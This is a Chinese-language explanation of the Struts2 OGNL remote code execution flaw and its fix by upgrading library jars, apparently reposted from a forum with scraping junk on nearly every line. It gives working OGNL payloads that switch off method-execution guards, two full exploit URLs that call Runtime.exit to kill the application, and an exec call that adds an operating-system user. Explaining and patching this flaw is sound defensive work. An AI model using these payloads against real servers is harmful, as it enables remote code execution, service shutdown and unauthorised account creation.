1、struts2漏洞原理7 g1 V* z4 G7 D+ z# i" `8 C- N, n' i
Struts2是Struts + WebWork。WebWork最终是使用XWork来处理HTTP参数,是通过调用底层的getter/setter方法来处理http的参数,它将每个http参数声明为一个ONGL语句。当我们提交一个http参数:
" _8 Q# I3 c& J5 r3 q2 ~?user.address.city=Bishkek&user['favoriteDrink']=kumys
/ a y- s% @" ~) L6 s( K5 I% ]5 eONGL将它转换为:
[/ j& X4 D6 m. Daction.getUser().getAddress().setCity(“Bishkek”)
% `; i3 P1 e/ }action.getUser().setFavoriteDrink(“kumys”)8 m7 I" u3 C" y! U
这是通过ParametersInterceptor(参数过滤器)来执行的,使用用户提供的HTTP参数调用ValueStack.setValue()方法来实现的。除了提供getting/setting方法, OGNL 还支持其他更多的用法:5 }3 m& `* x7 B2 Q m/ m" P
方法调用: foo()& f1 J! M5 |1 q6 N2 |2 {' }
静态方法调用: @java.lang.System@exit(1)3 L3 {- g4 v, A: c+ Y$ R
构造函数调用: new MyClass()
6 q" M. q( |$ s/ H向上下文变量赋值: #foo = new MyClass()
, l1 ^& d0 X+ g# J K% g…: j1 F9 R3 z, L4 S, T0 W# ?( `* Z
因为HTTP参数就是OGNL的执行语句,为了防止通过HTTP参数调用一个恶意函数来攻击网站,XWork有下面两个变量来限制方法的执行:* e: r+ L! b7 j' E9 o) Q
OgnlContext的属性:xwork.MethodAccessor.denyMethodExecution (set to true by default)
& ?6 N" F$ R' {1 h. E$ A$ ]& X. R. ESecurityMemberAccess 私有属性:allowStaticMethodAccess (set to false by default)
9 _5 n4 Y* i. |/ r# A' p i* a! T- A为了方便开发者方便的访问变量, XWork提供了下面几个预定义的上下文变量:
7 P# {% R) B0 h% ?#application
; ?+ N* Z, |+ t$ Y% M) w) z#session
: G6 \3 D8 d6 r#request" Z+ y0 v$ |: c7 ~( I
#parameters
# R6 M' W! e& O#attr
% M9 g& y/ z) J* M8 w' X; U这些变量代表了服务器端的对象,类似一个map。为篡改这些服务器端的变量,XWork的ParametersInterceptor不允许在http参数中使用#,但是可以使用Java的unicode String 来代替: \u0023。
" n) d% r( {9 w8 n8 S. c除了上面的上下文变量以外,还有下面更多的变量:
8 q9 |5 Z6 a- {2 h! e+ v#context – OgnlContext, the one guarding method execution based on ‘xwork.MethodAccessor.denyMethodExecution’ property value.
+ U( C& j7 J. ?; r( Y#_memberAccess – SecurityMemberAccess, whose ‘allowStaticAccess’ field prevented static method execution.
. e( Y4 G! g3 y#root
) P$ O+ B3 ^6 l- w#this' V" I+ \% u9 X+ W9 ?2 V( q/ S
#_typeResolver9 x1 b2 m. i8 D \" u7 q
#_classResolver
' c0 n' D& g5 V#_traceEvaluations
2 q. }. J7 K4 I6 [3 O6 F7 P#_lastEvaluation' P1 J/ Q! t, t, }7 r- N
#_keepLastEvaluation
3 x3 U3 [8 }, M. x9 `5 K \从上面的信息你可能已经看出问题了,我可以修改这些变量的值,然后执行一段恶意的java代码:
# y& ]2 N8 K; b1 k#_memberAccess['allowStaticMethodAccess'] = true+ d ~, s& |5 {$ m3 \3 ]7 z
#foo = new java .lang.Boolean(“false”)# w, s2 t7 \% [/ Q) Z
#context['xwork.MethodAccessor.denyMethodExecution'] = #foo! I9 m4 M- h% b3 |' f5 t
#rt = @java.lang.Runtime@getRuntime()6 x+ g+ ^* D# S5 l
#rt.exec(‘mkdir /tmp/PWNED’)
! w: R4 `! ~; J另外,你可以使用下面的代码检验一下你的网站是否有漏洞: http://mydomain/MyStruts.action?(‘\u0023_memberAccess[\'allowStaticMethodAccess\']‘)(meh)=true&(aaa)((‘\u0023context[\'xwork.MethodAccessor.den yMethodExecution\']\u003d\u0023foo’)(\u0023foo\u003dnew%20java.lang.Boolean(“false”)))&(asdf)((‘\u0023rt.exit(1)’)(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1& c% L3 p: f# u! _" c3 y5 a
旧版本的XWork没有属性’allowStaticMethodAccess’ 可以使用下面的URL: http://mydomain/MyStruts.action?(aaa)((‘\u0023context[\'xwork.MethodAccessor.den yMethodExecution\']\u003d\u0023foo’)(\u0023foo\u003dnew%20java.lang.Boolean(“false”)))&(asdf)((‘\u0023rt.exit(1)’)(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1
3 b4 y: \' }3 v; {! KOGNL处理时最终的结果就是( v7 t1 m% [. F7 ?0 p @4 `
java.lang.Runtime.getRuntime().exit(1); //关闭程序,即将web程序关闭
% H+ q! G2 ?5 f) b1 ~类似的可以执行( s% b& z9 N* J' O0 r
java.lang.Runtime.getRuntime().exec(“net user 用户名 密码 /add”);//增加操作系统用户,在有权限的情况下能成功(在URL中用%20替换空格,%2F替换/),只要有权限就可以执行任何DOS命令。
* _0 U8 X1 W* ^; m( O2、struts2漏洞解决方法( o8 Q7 f' q, h
将struts2的jar包更新到最新版本最简单,不用更改任何程序代码,目前最新版本2.3.4。主要用到以下几个替换掉旧版本的:
1 B; O1 A3 F: s/ l4 u+ G5 acommons-lang3-3.1.jar (保留commons-lang-2.6.jar)
# C+ z0 g7 U- T" {" t, mjavassist-3.11.0.GA.jar (新加包)
! m+ a- G/ y; F% | }+ V6 Lognl-3.0.5.jar (替换旧版本)
5 M! H% ]8 A$ U4 g9 X7 z K' [struts2-core-2.3.4.1.jar (替换旧版本)
/ {: C8 L) C$ {1 ~2 ^+ `xwork-core-2.3.4.1.jar (替换旧版本)
+ f) k+ T+ U" {! _: e, s |